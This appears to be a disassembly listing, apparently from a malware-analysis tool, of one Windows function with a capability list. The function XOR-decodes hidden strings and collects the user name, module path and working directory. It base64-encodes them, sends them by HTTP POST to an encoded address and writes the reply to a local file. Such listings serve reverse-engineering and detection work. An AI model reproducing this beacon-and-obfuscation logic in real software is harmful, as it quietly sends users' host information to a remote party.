Function at 0x6ff92e10
Capabilities:
Encode data using xor
Get session user name
Query environment variable
Read file on windows
Write file on windows

Disassembly:
push r15
mov eax, 0x13d8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
mov dword [rsp + 0x5c], 0xff
lea rax, [rsp + 0x2cc]
lea rdx, [rsp + 0x2d0]
mov byte [rsp + 0x2d1], 0
mov r12, rax
mov dword [rsp + 0x2cc], 0x6c647521
mov byte [rsp + 0x2d0], 0x71
xor byte [rax + 1], 0x21
inc rax
cmp rax, rdx
jne 0x6ff92e5f
lea rcx, [rsp + 0x2cd]
mov byte [rsp + 0x2d1], 0
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x3da], 0
lea rdx, [rsp + 0x3d0]
mov word [rsp + 0x3d8], 0x1010
mov r8, rax
mov rsi, rdx
movabs rax, 0x60000023f104663
mov qword [rsp + 0x3d0], rax
lea rax, [rsp + 0x3d9]
xor byte [rdx + 1], 0x63
inc rdx
cmp rdx, rax
jne 0x6ff92eba
lea r10, [rsp + 0xc4]
lea rdx, [rsp + 0x3d1]
mov byte [rsp + 0x3da], 0
mov rcx, r10
mov qword [rsp + 0x48], r10
lea rbx, [rsp + 0x98]
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
lea rdx, [rsp + 0x5c]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov r8d, 0x104
xor ecx, ecx
lea rdx, [rsp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call sub.msvcrt.dll__getcwd
mov rcx, rax
mov r15, rax
call sym.main.exe_base64_encode_char_const_
mov rcx, r12
mov r14, rax
call sym.main.exe_base64_encode_char_const_
mov r10, qword [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r13, rax
mov rcx, r10
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r8d, r8d
xor edx, edx
mov r9d, 2
mov rdi, qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r12, rax
mov rcx, rax
call rdi
test eax, eax
jne 0x6ff9301c
lea rcx, str.Creating_new_file._n
call sym.main.exe_printf_char_const__::_
mov byte [rsp + 0xb4], 0
movabs rax, 0x3464736563346d16
lea rdx, [rsp + 0xb3]
mov qword [rsp + 0x98], rax
movabs rax, 0x363a34653334362c
mov dword [rsp + 0xb0], 0x6b346533
mov qword [rsp + 0xa0], rax
movabs rax, 0x34362c3472617534
mov qword [rsp + 0xa8], rax
mov rax, rbx
xor byte [rax + 1], 0x16
inc rax
cmp rax, rdx
jne 0x6ff92fed
lea rdx, [rsp + 0x99]
mov r9, r14
mov r8, r13
mov rcx, rsi
mov byte [rsp + 0xb4], 0
call sym.main.exe_sprintf_char__char_const__::_
jmp 0x6ff93109
lea rcx, str.File_opened_successfully._n
lea rbp, [rsp + 0x73]
call sym.main.exe_printf_char_const__::_
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call rdi
mov rdx, rbp
lea r9, [rsp + 0x58]
mov r8d, 0x24
mov qword [rsp + 0x20], 0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x58]
mov byte [rsp + 0xc2], 0
lea rdx, [rsp + 0xc1]
mov word [rsp + 0xc0], 0x7f20
mov byte [rsp + rax + 0x73], 0
movabs rax, 0x2070677177207902
mov qword [rsp + 0x98], rax
movabs rax, 0x222e207127202238
mov qword [rsp + 0xa0], rax
movabs rax, 0x2022382066756120
mov qword [rsp + 0xa8], rax
movabs rax, 0x777720222e207127
mov qword [rsp + 0xb0], rax
movabs rax, 0x712720223820666b
mov qword [rsp + 0xb8], rax
mov rax, rbx
xor byte [rax + 1], 2
inc rax
cmp rax, rdx
jne 0x6ff930da
mov qword [rsp + 0x20], rbp
mov r9, r14
mov r8, r13
mov rcx, rsi
lea rdx, [rsp + 0x99]
mov byte [rsp + 0xc2], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x72], 0
lea rdx, [rsp + 0x71]
movabs rax, 0x1061c1210075a75
mov word [rsp + 0x70], 0x710
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x68]
xor byte [rax + 1], 0x75
inc rax
cmp rdx, rax
jne 0x6ff9312e
movabs rax, 0x2b7e7e7c6f717506
mov byte [rsp + 0x72], 0
lea rdx, [rsp + 0xb1]
mov qword [rsp + 0x98], rax
movabs rax, 0x63682b7c726f6a64
mov byte [rsp + 0xb2], 0
mov word [rsp + 0xb0], 0x6365
mov qword [rsp + 0xa0], rax
movabs rax, 0x67767528606e2872
mov qword [rsp + 0xa8], rax
mov rax, rbx
xor byte [rax + 1], 6
inc rax
cmp rax, rdx
jne 0x6ff93192
lea rdx, [rsp + 0x69]
lea rcx, [rsp + 0x99]
mov r8, rsi
mov byte [rsp + 0xb2], 0
lea r9, [rsp + 0x60]
call sym.main.exe_http_post_request_char_const__char_const__char_const__char_
mov rcx, r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rdi
mov rdx, qword [rsp + 0x60]
xor eax, eax
or rcx, 0xffffffffffffffff
mov r9, rbx
mov rdi, rdx
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call sym.main.exe_blitz_free_void_
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, r13
call sym.main.exe_base64_free_char_
mov rax, qword [rsp + 0x60]
add rsp, 0x13d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret